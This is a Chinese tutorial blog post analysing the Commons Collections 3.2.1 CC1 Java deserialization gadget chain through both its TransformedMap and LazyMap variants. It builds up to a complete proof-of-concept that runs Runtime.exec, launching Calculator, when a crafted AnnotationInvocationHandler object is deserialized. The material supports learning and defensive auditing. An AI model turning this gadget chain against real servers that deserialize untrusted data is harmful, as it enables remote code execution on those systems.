Java代码审计-CommonsCollections1链分析

admin 2023年12月14日14:08:01评论9 views字数 24791阅读82分38秒阅读模式

0x00 前言

本文所讲述的CommonsCollections1链也被称为CC1链,它是属于Apache Commons Collections是Java中应用广泛的一个库,Apache Commons Collections是Apache软件基金会的项目,是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。其目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。作为Apache开源项目的重要组件,Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充,让应用程序在开发的过程中,既保证了性能,也能大大简化代码,故而被广泛应用于各种Java应用的开发。

尽管它的初衷是好的,但其中有一些代码不严谨,导致很多引用了这个库的Java应用程序(如WebLogic、Websphere、Jboss、Jenkin等)会产生RCE漏洞。Apache Commons Collections的漏洞最初在2015年11月6日由FoxGlove Security安全团队的@breenmachine 在一篇长博客上阐述,危害面覆盖了大部分的Web中间件,影响十分深远,横扫了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

环境准备

调试工具:IDEA

Java版本:8u65,下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

8u65源码:下载地址:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

pom文件配置:

 <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

工具安装、Java版本配置、源码加载这些建议从网上补一下这方面的知识

0x01 基础

反射机制

一开始看到反射就联想到反弹shell一类的内容,其实与那些并无干系,反射机制是Java的一种特性,可以理解为在运行中(而非编译期间)获取对象类型信息的操作。传统的编程方法要求程序员在编译阶段决定使用的类型,但是在反射的帮助下,我们可以动态获取这些信息,从而编写更加具有可移植性的代码。当然,反射并非某种编程语言的特性,理论上使用任何一种语言都可以实现反射机制,但是像Java语言本身支持反射,那反射的实现就会方便很多。

根据网上的资料,JAVA反射机制的功能可以用如下几句话简要描述:
在运行状态中,判断任意一个对象所属的类;
在运行状态中,构造任意一个类的对象;
在运行状态中,获取或修改任意一个类所具有的成员变量和方法;
在运行状态中,调用任意一个对象的方法;
另外还可生成动态代理和获取类的其他信息。

我们知道在Java中一切都是对象,我们一般所使用的对象都直接或间接继承自Object类。Object类中包含一个方法名叫getClass,利用这个方法就可以获得一个实例的类型类。
需要注意的是,反射机制在运行时只能调用methods或改变fields内容,却无法修改程序结构或变量类型。

Java Runtime类

Runtime类封装了运行时的环境,每个 Java 应用程序都有一个 Runtime 类实例,使应用程序能够与其运行的环境相连接。一旦得到了一个当前的Runtime对象的引用,就可以调用Runtime对象的方法去控制Java虚拟机的状态和行为。

一般情况下,不能实例化一个Runtime对象,应用程序也不能创建自己的 Runtime 类实例,但可以通过 getRuntime() 方法获取当前Runtime运行时对象的引用。

Runtime类提供了很多有价值的API,文中用到的主要就是exec(String command) (即在单独的进程中执行指定的字符串命令)。

Java 反序列化

序列化就是把对象转换成字节流,便于传输和保存在内存、文件、数据库中;反序列化是序列化的逆过程,即将有结构的字节流还原成对象。

img

在Java中,java.io.ObjectOutputStream代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。

与之对应,java.io.ObjectInputStream代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

对象序列化包括如下步骤:

1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;

2) 通过对象输出流的writeObject()方法写对象。

对象反序列化的步骤如下:

1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;

2) 通过对象输入流的readObject()方法读取对象。

只有实现了Serializable和Externalizable接口的类且所有属性(用transient关键字修饰的属性除外,不参与序列化过程)都是可序列化的对象才能被序列化。在序列化(反序列化)的时候,ObjectOutputStream(ObjectInputStream)会寻找目标类中的重写的writeObject(readObject)方法,赋值给变量writeObjectMethod(readObjectMethod)。

img

Java 注解

Java 注解(Annotation)又称 Java 标注,是 JDK5.0 引入的一种注释机制。Java 语言中的类、方法、变量、参数和包等都可以被标注。和 Javadoc 不同,Java 标注可以通过反射获取标注内容。在编译器生成类文件时,标注可以被嵌入到字节码中。Java 虚拟机可以保留标注内容,在运行时可以获取到标注内容,也支持自定义 Java 标注。

Java 定义了一套注解,Java7之前有 7 个,3个在java.lang中,4个在 java.lang.annotation 中。

作用于代码的注解是如下3个,

@Override – 检查该方法是否是重写方法。如果发现其父类,或者是引用的接口中并没有该方法时,会报编译错误;

@Deprecated – 标记过时方法。如果使用该方法,会报编译警告;

@SuppressWarnings – 指示编译器去忽略注解中声明的警告。

作用于其他注解的注解(又称元注解)是如下4个,

@Retention – 标识这个注解怎么保存,是只在代码中,还是编入class文件中,或者是在运行时可以通过反射访问;

@Documented – 标记这些注解是否包含在用户文档中;

@Target – 标记这个注解应该是哪种 Java 成员,即指定 Annotation 的类型属性;

@Inherited – 标记这个注解是继承于哪个注解类(默认 注解并没有继承于任何子类)。

Java 代理

代理模式是一种设计模式,提供了对目标对象额外的访问方式,即设置一个中间代理,通过代理对象访问目标对象,提供了对目标对象额外的访问方式,这样可以在不修改原目标对象的前提下,提供额外的功能操作,扩展目标对象的功能,以达到增强原对象的功能和简化访问方式。

img

Java提供了三种代理模式:静态代理、动态代理和cglib代理。
静态代理方式需要代理对象和目标对象实现一样的接口。
优点:可以在不修改目标对象的前提下扩展目标对象的功能;
缺点:①冗余由于代理对象要实现与目标对象一致的接口,会产生过多的代理类。②不易维护。一旦接口增加方法,目标对象与代理对象都要进行修改。
动态代理利用了JDK API,动态地在内存中构建代理对象,从而实现对目标对象的代理功能。动态代理又被称为JDK代理或接口代理。
静态代理与动态代理的区别主要在于静态代理在编译时就已经实现,编译完成后代理类是一个实际的class文件,而动态代理是在运行时动态生成的,即编译完成后没有实际的class文件,而是在运行时动态生成类字节码,并加载到JVM中。
特点:动态代理对象不需要实现接口,但是要求目标对象必须实现接口,否则不能使用动态代理。

疑问解答点

何为链?专业术语也称为Gadget chain,在Java当中叫做调用链,从入口类重写的readObject方法经过一层一层类和方法,最终到达触发我们恶意代码的链路。

下面会讲到TransformedMapLazyMap这两个调用链,都来自于Common-Collections库,并继承AbstractMapDecorator。

在ysoserial工具中CommonsCollections1链是使用LazyMap类,并不是TransformedMap类。

在此之前初学者会有很多的疑问,比如:

  1. 学CC1链为什么要用到TransformedMap类?
  2. ChainedTransformer和ConstantTransformer的作用是什么?
  3. 为什么又要用到AnnotationInvocationHandler这个类呢?
  4. 平常我们所说用ysoserial生成的CC链都是怎么利用到shiro和weblogic的呢?

我们要先了解整个反序列化的过程,可以看到我们下面的过程图:

1

第一第二点疑问可以先参考过程图粗略了解一下,为什么要用AnnotationInvocationHandler类,因为它重写了readObject函数,注意,AnnotationInvocationHandler是不属于CommonsCollections库里面的,是JDK原有的库,而且为什么要8u65的版本进行测试,因为在8u71以后大概是2015年12月的时候,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数。

平时shiro和weblogic等应用的反序列化漏洞都是利用cc链进行攻击的,整个过程又是怎么样呢?我们可以知道反序列化最主要的是readObject函数,readObject主要是对字节码转成对象,然而我们要攻击就要把整个可序列化的payload进行序列化,转成readObject要使用的字节码。所以在shiro和weblogic等一些应用只要有可以接受外界的数据,并且这些数据还经过了readObject就能利用cc链进行攻击。

0x02 TransformedMap链分析

我们从上面已经了解过了,CommonsCollections库是应用常用的,所以我们要在这个库里面找到一些我们可以利用的函数和类。当中InvokerTransformer(怎么找的?别问,问就是大佬已经找好了🐶)这个类就存在危险可操作的地方,比如里面的transform方法,而且也继承了Serializable接口,符合我们反序列化的条件,可以看到里面用到了反射:

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

是不是很熟悉,似成相识,我们来看一下我们之前利用反射处理的Runtime类只想计算器的代码:

Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); //正射调用

Object myRuntime = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);//反射调用
Method exec = Class.forName("java.lang.Runtime").getMethod("exec",String.class);
exec.invoke(myRuntime, "/System/Applications/Calculator.app/Contents/MacOS/Calculator");

是不是该有的都有了,好,我们继续看下怎么使用InvokerTransformer类去利用,先来看下New一个对象需要传入什么参数,第一个是字符串,第二个是类数组,第三个是对象参数:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

我们可以写成下面这样就能触发计算器了,第一个也就是我们的exec方法,第二个要写成new Class[]就是要new一个class数组然后把类的类型放进来给它处理,第三个就是对应上面的new Object[]。如果还是看不懂可以把Runtime反射的代码带入到transform方法就一目了然了。

Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
String iMethodName = "exec";
Class[] iParamTypes = {String.class};
Object[] iArgs = {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"};

InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName, iParamTypes, iArgs);
invokerTransformer.transform(input);

注意,如果不知道InvokerTransformer对于实际开发到底发挥了什么作用,这个我们先不要深究,我们只用知道这个类和这个函数能利用,触发我们的代码即可,其他的下面处理完所有的类会一一解释

我们把这段写成序列化再反序列化看看,看到是可以正常运行计算器的:

String iMethodName = "exec";
Class[] iParamTypes = {String.class};
Object[] iArgs = {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"};

InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName, iParamTypes, iArgs);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(invokerTransformer);
oss.close();

System.out.println(barr);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
InvokerTransformer exec = (InvokerTransformer) ois.readObject();
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
exec.transform(input);

但是我们主要到的是input的变量,我们要主动去做赋值,要知道服务器不可能会写一个给你,我们要在执行readObject的时候就有我们的input的内容,要解决传input值问题,我们的最希望的就是有一个方法可以在内部就帮我们传入危险的值。

跟到这里,大家可能也会有点迷茫,我们重新回到我们最终目的:能被readObject利用到的。这里我们可以直接跳到AnnotationInvocationHandler这个类,这个JDK自带的,而且这个类的readObject重写了,同时也继承Serializable类:

 private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

我们重点看下面这两句:

Map.Entry<String, Object> memberValue : memberValues.entrySet()

memberValue.setValue

上面这些过程看不懂不要紧,继续往下走,把整个思路弄顺了先。我们知道执行反序列化后这里会把Map进行遍历,然后去执行赋值给memberValue的setValue方法。那有人在这里就迷惑了,memberValue又是怎么来的,我们这个变量是在创建AnnotationInvocationHandler对象的时候传进来的值,第一个是注解,第二个参数是Map,所以我们要把我们的恶意代码作为Map类型传给AnnotationInvocationHandler对象才能实现反序列化:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

接下来就要去找利用到setValue方法的类,因为在这里触发这个方法memberValue.setValue,我们只要从cc库中找到利用该方法的地方,我们右键寻找find usages,找到一个是map类型的类,为什么要找map类型呢,因为map类型的用得比较多,也比较广泛,我们看到AbstractInputCheckedMapDecorator类使用了该方法:

2

我们查看下checkSetValue的定义:

abstract class AbstractInputCheckedMapDecorator
        extends AbstractMapDecorator {

    protected AbstractInputCheckedMapDecorator() {
        super();
    }
    protected AbstractInputCheckedMapDecorator(Map map) {
        super(map);
    }

    //-----------------------------------------------------------------------
    /**
     * Hook method called when a value is being set using <code>setValue</code>.
     * <p>
     * An implementation may validate the value and throw an exception
     * or it may transform the value into another object.
     * <p>
     * This implementation returns the input value.
     * 
     * @param value  the value to check
     * @throws UnsupportedOperationException if the map may not be changed by setValue
     * @throws IllegalArgumentException if the specified value is invalid
     * @throws ClassCastException if the class of the specified value is invalid
     * @throws NullPointerException if the specified value is null and nulls are invalid
     */
    protected abstract Object checkSetValue(Object value);

   
    protected boolean isSetValueChecking() {
        return true;
    }

我们使用ctrl+H键查找继承AbstractInputCheckedMapDecorator抽象类的checkSetValue方法,有什么我们可以利用到的,主要是能触发我们的transform的方法的,我们发现了两个类继承了它,其中在TransformedMap类中的checkSetValue有触发transform的方法:

3

从readObject走到这里,我们只需要把InvokerTransformer类赋值给valueTransformer就行了。我们看下TransformedMap类,也继承了Serializable类,但是构造函数事protected属性的,不能直接new。不过还是提供了decorate方法给我们创建对象,而且valueTransformer也可控。

public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {

    private static final long serialVersionUID = 7023152376788900464L;

    protected final Transformer keyTransformer;

    protected final Transformer valueTransformer;
  
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

所以代码可以这样写,for循环是直接用我们入口点的AnnotationInvocationHandler的readObject来写的。

Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
String iMethodName = "exec";
Class[] iParamTypes = {String.class};
Object[] iArgs = {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"};

InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName, iParamTypes, iArgs);
Map innerMap = new HashMap();
innerMap.put("1111","test");

Map<String,Object> outerMap =  TransformedMap.decorate(innerMap, null, invokerTransformer);
for (Map.Entry<String, Object> memberValue : outerMap.entrySet()) {
  memberValue.setValue(input);
}

还是回到上面input的问题中,如果利用了AnnotationInvocationHandler类进行反序列化按道理是不用再处理input事情了的,所以我们需要找一个地方存放我们的input在内部。我们先来看下InvokerTransformer是继承Transformer类的,我们看下其他对象有没有合适和也有transform方法的,我们找到一个叫ChainedTransformer的类和ConstantTransformer类,里面就重写了transform方法:

4

我们要用到这两个类呢?

  1. 都是继承了Transformer

  2. 都有重写transform方法

这Transformer类的功能就是将一个对象转换为另外一个对象,我们这里会用到的有:

  • invokeTransformer(通过反射,返回一个对象)
  • ChainedTransformer(把多个transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
  • ConstantTransformer(把一个对象转化为常量,并返回)

看完了还是懵的,到底对我们的反序列化有什么帮助?不急,我们先来看下它们是怎么处理的,在ConstantTransformer类中,new一个对象会赋值给iConstant变量,执行transform方法会直接返回这个对象,这样就完成了把一个对象转化为常量的过程:

public ConstantTransformer(Object constantToReturn) {
  super();
  iConstant = constantToReturn;
}

/**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
public Object transform(Object input) {
  return iConstant;
}

接着到ChainedTransformer类,接收的参数是Transformer数组类型,然后将数组赋值给iTransformers变量。它就会将传入的iTransformers对象进行遍历和触发transform方法,然后返回Object给下一个transform方法这样就完成了把多个transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换:

public ChainedTransformer(Transformer[] transformers) {
  super();
  iTransformers = transformers;
}

/**
     * Transforms the input to result via each decorated transformer
     * 
     * @param object  the input object passed to the first transformer
     * @return the transformed result
     */
public Object transform(Object object) {
  for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
  }
  return object;
}

那有什么用,看起来现在感觉有点乱的样子,不急,我们先把代码写出来,可以看到我们把Runtime对象放进ConstantTransformer对象里面,然后使用ChainedTransformer进行遍历整个Transformer数组,依次执行里面的transform方法:

Transformer[] transformers = new Transformer[]{
  new ConstantTransformer(Runtime.getRuntime()),
  new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("111","test");
Map<String,Object> outerMap =  TransformedMap.decorate(innerMap, null, chainedTransformer);

for (Map.Entry<String, Object> memberValue : outerMap.entrySet()) {
  memberValue.setValue("test");
}
//上面还可以写成这样,outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
//outerMap.entrySet().iterator().next().setValue("test");

在这里还可以想到一个很巧妙的地方就是ChainedTransformer的transform方法可以先把第一个ConstantTransformer处理过的Runtime对象赋值给下一个transform方法,也就是InvokerTransformer对象:

  for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
  }
  return object;
}

我们把上面的setValue串联起来那就是我们一开始这张图的过程一样:

1

现在我们就可以正式去从AnnotationInvocationHandler的readObject入口点进行反序列化了,因为AnnotationInvocationHandler的构造方法没有public,所以要使用反射的方式进行。而且还要看传入的参数,memberValues我们已经知道了,就是把outerMap变量放进来即可,第一参数是要传进来一个注释类型的:

  AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

我们可以按住ctrl+H查看继承Annotation的类:

5

随便选一个都可以的,完整的代码如下:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("111","test");
        Map<String,Object> outerMap =  TransformedMap.decorate(innerMap, null, chainedTransformer);


        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandlerConstructor =c.getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class,outerMap);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(handler);
        oss.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

但是执行后会报错:

Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime

为什么呢,因为Runtime的构造函数是private属性的,所以我们还得使用反射的方式进行编写:

 Class d = Runtime.class;
Method cMethmod = d.getMethod("getRuntime",null);
Object se = cMethmod.invoke(null);
Method exec = d.getMethod("exec", String.class);
exec.invoke(se, "/System/Applications/Calculator.app/Contents/MacOS/Calculator");

改写成InvokerTransformer对象的调用方式,如果对理的new Class有疑问可以去看下该方法的传入的参数类型:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  Map innerMap = new HashMap();
  innerMap.put("111","test");
  Map<String,Object> outerMap =  TransformedMap.decorate(innerMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandlerConstructor =c.getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class,outerMap);


  ByteArrayOutputStream barr = new ByteArrayOutputStream();
  ObjectOutputStream oss = new ObjectOutputStream(barr);
  oss.writeObject(handler);
  oss.close();

  ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  ois.readObject();

再次运行后发现还是没弹出计算器了,我们在readObject上面上一个断点,可以看到传过来memberType的值是null,所以没有执行下去:

6

我们继续往下走到这里会发现它会对比一个value的hash值,如果不一致那就会返回null:

7

所以我们要在put的那里加上写入value的值,也就是我们选取了@SOAPMessageHandlers注解作为this.type,我们就必须向this.memberValues写入一个value:xxx的键值对

这里的this.type是可以变动的,比如换成另一个元注释Retention.class(虽然他的注解元素名也是value),甚至可以自定义,但是对方服务器上没有这个注释,打别人是没有用的,所以还是选用大家都有的元注释。

同时我们写入的this.memberValues的键名不能改变,但是值可以改变。:

public @interface SOAPMessageHandlers {
    SOAPMessageHandler[] value();
}

完整的代码如下:


    Transformer[] transformers = new Transformer[]{
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
      new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
      new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    innerMap.put("value","test");
    Map<String,Object> outerMap =  TransformedMap.decorate(innerMap, null, chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor AnnotationInvocationHandlerConstructor =c.getDeclaredConstructor(Class.class,Map.class);
    AnnotationInvocationHandlerConstructor.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class,outerMap);



    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oss = new ObjectOutputStream(barr);
    oss.writeObject(handler);
    oss.close();

    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    ois.readObject();

0x03 LazyMap链分析

我们上面了解到了TransformedMap链的整个过程,在ysoserial里面用的是LazyMap的链,这个会稍微复杂一点,但整体和TransformedMap差不多,整条链如下:

Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

其实在TransformedMap利用起来感觉会方便很多因为可以直接利用AnnotationInvocationHandler对象的setValue方法进行反序列化。但是LazyMap也是一样用到transform的方法,我们来看一下具体代码,可以看到containsKey是不含该键名就执行factory的transform的方法:

 public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

但是没有能在LazyMap找到一个checkSetValue的方法然后去执行setValue,而且在readObject也没有调用到get的方法。所以按照ysoserial的用法,就找到另外一条路,也就是AnnotationInvocationHandler类的invoke方法有调用到get:

public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member); //在这里用到了get的方法

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

那么又如何能调用到 AnnotationInvocationHandler#invoke 呢?ysoserial的作者想到的是利用Java 的对象代理。

如果对动态代理有不熟悉可以看下b站的视频两个小时带你深入剖析代理模式

由此可知AnnotationInvocationHandler本身就是一个InvocationHandler,所以只要我们在反序列化调用readObject的时候要是使用到了代理就会触发里面的invoke方法,接着就能进入我们的所需的get 方法中。

下面我们只要把LazyMap替换掉TransformedMap即可,可以看到它的构造方法也是protected属性,不过也提供了decorate方法来给我们创建对象,所以我们只要替换一下名字即可。

 protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

我们再用反射来写一个代理:


Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor =c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler Lazyhandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class,outerMap);

Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),outerMap.getClass().getInterfaces(), Lazyhandler);
InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class, proxyMap);

完整的POC:


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.jws.soap.SOAPMessageHandlers;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_LazyMap {
    public static void main(String[] args) throws Exception {



        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map outerMap =  LazyMap.decorate(new HashMap(), chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandlerConstructor =c.getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler Lazyhandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class,outerMap);

        Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),outerMap.getClass().getInterfaces(), Lazyhandler);
        InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(SOAPMessageHandlers.class, proxyMap);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(handler);
        oss.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();



    }
}

0x04 总结

其实还有JDK版本的问题,因为高版本的修复了AnnotationInvocationHandler的readObject,但是在CC6的还是可以利用的,在后续也会出相关的文章。

这里面有很多基础的知识需要掌握,要不然会看得很累,所以大家还是要继续加油!

笔者也是照葫芦画瓢,有写得不好的的请见谅,感谢!

0x05 参考

https://github.com/phith0n/JavaThings


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日14:08:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java代码审计-CommonsCollections1链分析http://cn-sec.com/archives/2299028.html

发表评论

